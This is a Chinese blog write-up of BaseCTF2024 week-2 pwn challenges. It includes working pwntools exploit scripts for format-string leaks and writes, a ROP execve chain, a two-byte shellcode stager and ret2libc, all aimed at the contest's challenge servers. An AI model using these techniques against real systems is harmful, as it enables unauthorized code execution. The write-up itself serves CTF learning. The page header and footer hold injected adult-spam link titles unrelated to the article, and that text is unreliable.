<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      BaseCTF2024新生賽-week2pwn部分

      書接上回

      format_string_level0

      做法

      直接泄露,需要調試查看棧上數據(%8$s)或者寫腳本爆破

      效果如下

      圖片

      圖片

      腳本(針對不同情況需要修改)

      from pwn import *
      
      with open("format_leak","w+") as f:
          for i in range(1, 50):
              p = remote("gz.imxbt.cn", 20466) # 修改
              try:
                  payload = f"%{i}$s".encode()
                  print(f"嘗試泄露第 {i} 個參數: {payload}")
                  p.sendline(payload)
                  leak = p.recvline()
                  print(f"泄露內容: {leak}")
              except Exception as e:
                  print(f"發生錯誤:{e}")
              else:
                  f.write(f"第{i}個棧幀->")
                  f.write(leak.decode(errors="ignore"))
              p.close()
      

      思路

      int __fastcall main(int argc, const char **argv, const char **envp)
      {
        int fd; // [rsp+Ch] [rbp-124h]
        void *ptr; // [rsp+10h] [rbp-120h]
        ssize_t v6; // [rsp+18h] [rbp-118h]
        char buf[264]; // [rsp+20h] [rbp-110h] BYREF
        unsigned __int64 v8; // [rsp+128h] [rbp-8h]
      
        v8 = __readfsqword(0x28u);
        init(argc, argv, envp);
        ptr = malloc(0x100uLL);
        if ( ptr )
        {
          fd = open("flag", 0);
          if ( fd >= 0 )
          {
            v6 = read(fd, ptr, 0x100uLL);
            if ( v6 >= 0 )
            {
              *((_BYTE *)ptr + v6 - 1) = 0;
              read(0, buf, 0x100uLL);
              printf(buf);
              close(fd);
              free(ptr);
              return 0;
            }
            else
            {
              perror("read failed");
              close(fd);
              free(ptr);
              return 1;
            }
          }
          else
          {
            perror("open failed");
            free(ptr);
            return 1;
          }
        }
        else
        {
          perror("malloc failed");
          return 1;
        }
      }
      

      其實存在failed字眼我們一開始直接忽略,這樣可以快速鎖定突破點

      v6 = read(fd, ptr, 0x100uLL);
      if ( v6 >= 0 )
      {
      *((_BYTE *)ptr + v6 - 1) = 0;
      read(0, buf, 0x100uLL);
      printf(buf);
      close(fd);
      free(ptr);
      return 0;
      }
      

      這里可以看到讀取文件內容到 ptr,返回讀到的字節數 v6,然后把最后一個字節改成 \0,確保字符串正確結束

      *((_BYTE *)ptr + v6 - 1) = 0; // 等價于ptr[v6-1] = "\0"---類似字符串數組末尾添加\0
      

      pwn常見read的用法

      read(0,stack,0x100) // 輸入數據到棧0x100字節
      read(fd,stack,0x100) // 從fd讀取0x100字節到棧
      

      突破點-格式化字符串泄露

      printf(buf);
      

      思路1,本地調試嘗試flag在哪個棧幀

      思路2,寫腳本爆破

      format_string_level1

      做法

      通過格式化字符串寫入

      # %n 寫入4個字節
      # %hn 寫入2個字節
      # %hhn 寫入1個字節
      
      # %n 一般會配合 %c 進行使用,%c 負責輸出字符,%n 會將到目前為止已經輸出的字符數寫入對應參數所指向的內存地址并轉化為 16 進制格因此通常通過輸出特定數量的字符(用 %c 或 %<number>c)來控制寫入的值。
      

      腳本

      from pwn import *
      
      target = 0x4040B0
      #p = process("vuln")
      p = remote("gz.imxbt.cn",20474)
      #payload = b"%8$p"
      payload = b"aaaa%7$n" + p64(target)
      #gdb.attach(p)
      p.sendline(payload)
      
      p.interactive()
      

      思路

      int __fastcall main(int argc, const char **argv, const char **envp)
      {
        char buf[264]; // [rsp+0h] [rbp-110h] BYREF
        unsigned __int64 v5; // [rsp+108h] [rbp-8h]
      
        v5 = __readfsqword(0x28u);
        init(argc, argv, envp);
        read(0, buf, 0x100uLL);
        printf(buf);
        if ( target )
          readflag();
        return 0;
      }
      

      看一下保護

      圖片
      沒開PIE,因此打算通過格式化字符任意地址寫入修改target的值進入readflag函數,接下來flag會被輸出

      void readflag()
      {
        int fd; // [rsp+Ch] [rbp-14h]
        void *ptr; // [rsp+10h] [rbp-10h]
        ssize_t v2; // [rsp+18h] [rbp-8h]
      
        ptr = malloc(0x100uLL);
        if ( ptr )
        {
          fd = open("flag", 0);
          if ( fd >= 0 )
          {
            v2 = read(fd, ptr, 0x100uLL);
            if ( v2 >= 0 )
            {
              *((_BYTE *)ptr + v2 - 1) = 0;
              printf((const char *)ptr);
            }
            else
            {
              perror("read failed");
              close(fd);
              free(ptr);
            }
          }
          else
          {
            perror("open failed");
            free(ptr);
          }
        }
        else
        {
          perror("malloc failed");
        }
      }
      

      這里使用IDA或者pwntools查看target的地址

      .bss:00000000004040B0 target          dq ?                    ; DATA XREF: main+55↑r
      

      接下來確定target寫入的位置,棧上target需要有一個位置,寫入在target之前因此格式應該這樣(輸出字符+格式化字符寫入)+(target位置)

      我們確定棧幀的位置

      payload = "%8$p" # 泄露棧上第八個參數的地址
      

      圖片

      因此我們確認target寫入到第7個參數可以完成腳本

      gift

      做法

      無system無bin/sh開啟NX使用syscall沒開沙盒

      from pwn import *
      
      p = remote("gz.imxbt.cn",20484)
      #p = process("gift")
      """
      0x0000000000401f2f : pop rdi ; ret
      0x000000000047f2eb : pop rdx ; pop rbx ; ret
      0x0000000000409f9e : pop rsi ; ret
      0x000000000047f2ea : pop rax ; pop rdx ; pop rbx ; ret
      0x0000000000419484 : pop rax ; ret  
      """
      
      syscall_add = 0x0401ce4
      rax_add = 0x419484
      rax_rdx = 0x47f2ea
      bss_add = 0x04C72C0
      rsi_add = 0x409f9e
      rdi_add = 0x0401f2f
      gets = 0x040C270
      
      #gdb.attach(p)
      payload = b"a"*32 + b"b"*8 + p64(rdi_add)+ p64(bss_add) + p64(rax_add) + p64(0)+p64(gets) 
      # 等價gets(bss) 設置 rdi = bss 段地址,調用 gets(bss)
      
      payload +=p64(rdi_add+1) +p64(rax_rdx) + p64(59) + p64(0)+p64(0) + p64(rsi_add) + p64(0) + p64(rdi_add)+ p64(bss_add) + p64(syscall_add) 
      # 等價于execve("/bin/sh")
      # 設置 rax=59, rdi=bss地址, rsi=0, rdx=0,執行 syscall (execve)
      p.sendlineafter(b"same",payload)
      p.sendline(b"/bin/sh\x00")
      p.interactive()
      

      思路

      使用ROPgadget以及ropper找寄存器

      pwn@pwn-VMware-Virtual-Platform:~/下載$ ropper --file gift --search "syscall; "
      [INFO] Load gadgets for section: LOAD
      [LOAD] loading... 100%
      [INFO] Load gadgets for section: GNU_STACK
      [LOAD] loading... 100%
      [LOAD] removing double gadgets... 100%
      [INFO] Searching for gadgets: syscall; 
      
      [INFO] File: gift
      0x0000000000401ce4: syscall; 
      0x000000000044759c: syscall; cmp eax, 0xfffff000; ja 0x475b0; xor eax, eax; ret; 
      0x0000000000447710: syscall; cmp rax, -0x1000; ja 0x47770; ret; 
      ……
      ------------------------------------------------------------------------------------
      pwn@pwn-VMware-Virtual-Platform:~/下載$ ROPgadget --binary gift --only "pop|ret" 
      Gadgets information
      ============================================================
      ……
      0x000000000047f2ea : pop rax ; pop rdx ; pop rbx ; ret
      0x0000000000419484 : pop rax ; ret
      0x0000000000401f27 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
      0x0000000000409f98 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
      0x000000000040c235 : pop rbp ; pop r12 ; pop r13 ; ret
      0x000000000040238c : pop rbp ; pop r12 ; ret
      0x0000000000404a10 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
      0x0000000000401f2b : pop rbp ; pop r14 ; pop r15 ; ret
      0x0000000000409f9c : pop rbp ; pop r14 ; ret
      0x0000000000477256 : pop rbp ; pop rbp ; ret
      0x000000000048d518 : pop rbp ; pop rbx ; ret
      0x00000000004017a1 : pop rbp ; ret
      0x000000000044ff0f : pop rbp ; ret 0xfffb
      0x0000000000477252 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
      0x000000000046bfc0 : pop rbx ; pop r12 ; pop r13 ; ret
      0x000000000040ae56 : pop rbx ; pop r12 ; ret
      0x0000000000409f97 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
      0x000000000040c234 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
      0x000000000040238b : pop rbx ; pop rbp ; pop r12 ; ret
      0x00000000004047da : pop rbx ; pop rbp ; ret
      0x0000000000401960 : pop rbx ; ret
      0x0000000000404a14 : pop rdi ; pop rbp ; ret
      0x0000000000401f2f : pop rdi ; ret
      0x000000000047f2eb : pop rdx ; pop rbx ; ret
      0x0000000000404a12 : pop rsi ; pop r15 ; pop rbp ; ret
      0x0000000000401f2d : pop rsi ; pop r15 ; ret
      0x0000000000409f9e : pop rsi ; ret
      0x0000000000404a0e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
      0x0000000000401f29 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
      0x0000000000409f9a : pop rsp ; pop r13 ; pop r14 ; ret
      0x0000000000477254 : pop rsp ; pop r13 ; pop rbp ; ret
      0x000000000040c237 : pop rsp ; pop r13 ; ret
      0x000000000040238e : pop rsp ; ret
      ……
      

      通過IDA找bss段

      圖片

      為了調用execve

      rax 59系統調用號
      rdi 指向bin/sh地址
      rsi 0
      rdx 0
      

      但是沒有bin/sh,通過gets函數寫入bss段

      rax 0
      rdi bss
      gets
      

      注意gets地址不能使用(會按照地址順序執行leave報錯),而是通過雙擊get得到

      圖片

      圖片

      官方題解直接使用ROPgadget --binary pwn --ropchain(沒有長度限制)

      shellcode_level1

      做法

      from pwn import *
      import time
      
      p = process('./attachment')
      p = remote('challenge.basectf.fun', 27606)
      context.arch='amd64'
      context.log_level = "debug"
      
      shellcode = asm("syscall") # 即'\x0f\x05'
      p.send(shellcode)
      
      #gdb.attach(p)
      #pause() 
      shellcode = b"aa" + asm(shellcraft.sh()) # 或者'\x90\x90'為nop的匯編
      p.send(shellcode)
      
      p.interactive()
      

      思路

      int __fastcall main(int argc, const char **argv, const char **envp)
      {
        void *buf; // [rsp+0h] [rbp-10h]
      
        buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
        if ( buf == (void *)-1LL )
        {
          perror("mmap failed");
          return 1;
        }
        else
        {
          read(0, buf, 2uLL);
          ((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
          if ( munmap(buf, 0x1000uLL) == -1 )
          {
            perror("munmap failed");
            return 1;
          }
          else
          {
            return 0;
          }
        }
      }
      

      顯然我們是看下面這部分,題目沒給system也沒有/bin/sh但是buf可寫可執行想到shellcode但是只能寫入兩個字節

      buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
      read(0, buf, 2uLL);
      ((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
      

      沒有什么突破,只能查看匯編

      .text:000000000000122A                 mov     rax, [rbp+buf]
      .text:000000000000122E                 mov     edx, 2          ; nbytes
      .text:0000000000001233                 mov     rsi, rax        ; buf
      .text:0000000000001236                 mov     edi, 0          ; fd
      .text:000000000000123B                 call    _read
      .text:0000000000001240                 mov     rsi, [rbp+buf]
      .text:0000000000001244                 mov     rcx, rsi
      .text:0000000000001247                 mov     rdx, 500h
      .text:000000000000124E                 mov     rax, 0
      .text:0000000000001255                 call    rcx
      

      匯編執行rcx時,寄存器情況如下

      rax 0
      rsi buf
      rdx 500h
      --->想到構造read(0,buf,500h)且此刻rcx從棧讀取8字節(但是棧此時只有2字節)
      
      from pwn import *
      import time
      
      p = process('./attachment')
      
      context.arch='amd64'
      context.log_level = "debug"
      
      shellcode = asm("syscall") 
      p.send(shellcode)
      
      gdb.attach(p)
      pause() #
      shellcode = asm(shellcraft.sh()) #
      p.send(shellcode)
      
      p.interactive() # 失敗
      
      

      為什么會失敗?通過調試發現執行syscall(其實就是read)后地址+2但是寫入是從0(0x78961ee4a000)開始的因此需要增加2字節

      圖片

      她與你皆失

      做法

      標準的ret2libc題目,這里采用官方腳本

      from pwn import *
      libc=ELF('libc.so.6')
      io=process('./pwn')
      elf = ELF("./pwn")
      main_addr = elf.symbols['main']
      puts_plt = elf.plt['puts']
      puts_got = elf.got['puts']
      rdi=0x401176
      ret = 0x40101a
      io.recv()
      payload=b'a'*(0xa+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
      io.sendline(payload)
      puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
      print(hex(puts_addr))
      libc_base = puts_addr - libc.sym["puts"]
      print(hex(libc_base))
      system_addr = libc_base + libc.sym["system"]
      binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
      payload = b'a'*(0xa+8) + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
      io.sendline(payload)
      io.interactive()
      

      思路

      題目給libc文件不需要再libcsearch,泄露puts真實地址,通過libc文件獲得libc基地址計算system函數

      這里很標準的ret2libc

      在下水平有限,如有錯誤

      請大家見諒,有不同意見歡迎指出,

      大家可以一起探討一下
      參考->

      BaseCTF2024官方Writeup合集

      (Pwn)CTF工具 ROPgadget 的安裝與使用介紹

      BaseCTF2024-Week2-PWN

      posted on 2025-07-10 14:19  Qyzen  閱讀(42)  評論(0)    收藏  舉報

      主站蜘蛛池模板: 日韩av一区二区高清不卡| 中文字幕无码av不卡一区| 久久亚洲av成人一二三区| 未满十八18禁止免费无码网站| 国产h视频在线观看| 成年性午夜免费视频网站| 国模精品视频一区二区三区| 美女无遮挡免费视频网站| 四虎在线播放亚洲成人| 一 级做人爱全视频在线看| 国产精品无码一区二区三区电影| 九九久久人妻一区精品色| 精品无码久久久久久久久久| 精品三级在线| 大肉大捧一进一出好爽视频动漫| 日韩深夜福利视频在线观看 | 国产999久久高清免费观看| 加勒比中文字幕无码一区| 亚洲国产午夜理论片不卡| 精品国产美女福到在线不卡 | 亚洲av综合久久成人网| 国产成人午夜在线视频极速观看| 亚洲精品乱码久久久久久| 韩国 日本 亚洲 国产 不卡| 亚洲欧美一区二区三区图片| 日本欧美大码a在线观看| 亚洲中文久久久久久精品国产| 人妻聚色窝窝人体WWW一区| 激情无码人妻又粗又大| 国产一区二区三区自拍视频| 丰满爆乳一区二区三区| 国产免费高清69式视频在线观看 | 亚洲国产精品一二三区| 又爽又黄又无遮挡的激情视频| 国产亚洲精品久久久久久大师| 毛片内射久久久一区| 黑人巨茎大战白人美女| a级免费视频| 国产在线拍揄自揄视频网试看| 乱老年女人伦免费视频| 少妇被粗大的猛进69视频|